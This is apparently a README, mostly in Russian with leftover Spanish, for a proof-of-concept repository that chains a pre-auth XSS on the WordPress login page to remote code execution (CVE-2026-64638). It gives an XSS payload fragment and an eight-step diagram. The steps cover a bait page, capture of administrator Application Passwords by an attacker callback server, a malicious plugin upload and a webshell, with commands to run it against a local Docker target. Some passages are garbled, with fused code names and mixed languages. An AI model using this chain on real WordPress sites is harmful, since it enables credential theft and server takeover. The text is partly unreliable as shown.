
Функциональный PoC для CVE-2026-64638 (XSS2Shell): цепочка от pre-auth XSS до RCE в WordPress Core. Лаборатория Docker + Python-сервер атакующего + технический анализ и меры по смягчению.
Образовательное Proof of Concept цепочки XSS2Shell (CVE-2026-64638), уязвимость XSS → RCE до аутентификации в ядре WordPress, обнаруженная независимо pwn.ai и опубликованная 7 августа 2026 года.
CVE-2026-64638 — уязвимость типа cross-site scripting (XSS)
отражённая, до аутентификации, на экране входа в WordPress
(wp-login.php). Затрагивает все поддерживаемые версии WordPress до 7.0.3,
выпущенной 6 августа 2026 года как экстренный security release.
Ей присвоен CVSS v4.0 8.9.
Цепочка, названная XSS2Shell, показывает, как, отталкиваясь только от неудачной попытки login с подделанным username, атакующий может:
strip_tagswp_kses_postuser-profile.js), чтобы выполнить запрос REST JSONP к тому же источнику.jQuery.globalEval().Результат — удалённое выполнение кода (RCE) на сервере WordPress
под пользователем web-процесса (обычно www-data), начиная с
единственного click администратора по контролируемой атакующим ссылке.
Этот репозиторий содержит строго образовательные и защитные материалы.
PoC поставляется с самодостаточным Docker-окружением, единственное назначение которого — служить локальной и воспроизводимой целью.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
PoC создана для запуска на macOS или Linux с:
zip (для ручной сборки payload, опционально;
уже собранный ZIP включён в payload/).Устанавливать WordPress вручную не требуется: docker-compose.yml
поднимает уязвимый WordPress 7.0.2 (последняя версия до патча)
вместе с MariaDB.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress станет доступен по адресу http://localhost:8080. Пройдите мастер
установки и создайте пользователя администратора (например admin /
admin-password).
Dockerfile привязывает образ к
wordpress:7.0.2-php8.2-apache— последней версии до патча 7.0.3.
# En otro terminal, dentro de attacker/
python3 server.py
Сервер атакующего слушает на http://localhost:9000 и предоставляет:
/ → index.html (страница-приманка)./callback.php → приёмник Application Password.В терминале, где запущен server.py, появится строка вида:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
Учётные данные также сохраняются в attacker/captured_credentials.txt.
Через несколько секунд оркестратор из index.html выполнит следующее:
payload.zip в wp-content/plugins/payload/.Проверьте выполнение кода с помощью:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
Заголовок Hacked: true и тело JSON подтверждают RCE.
После завершения цепочки следующие endpoints служат доказательством:
| Ресурс | Ожидаемое подтверждение |
|---|---|
GET /wp-content/plugins/payload/shell.php | Заголовок Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt | Захваченный Application Password |
wp-admin → Aplicaciones → Contraseñas de aplicación | Новая запись с названием «SomeApp» |
docs/ANALISIS.md — подробный технический анализ каждого
этапа цепочки со ссылками на исходный код WordPress.docs/MITIGACION.md — рекомендуемые меры защиты,
hardening и проверка патча 7.0.3.Распространяется под лицензией MIT. Подробнее см. в файле LICENSE.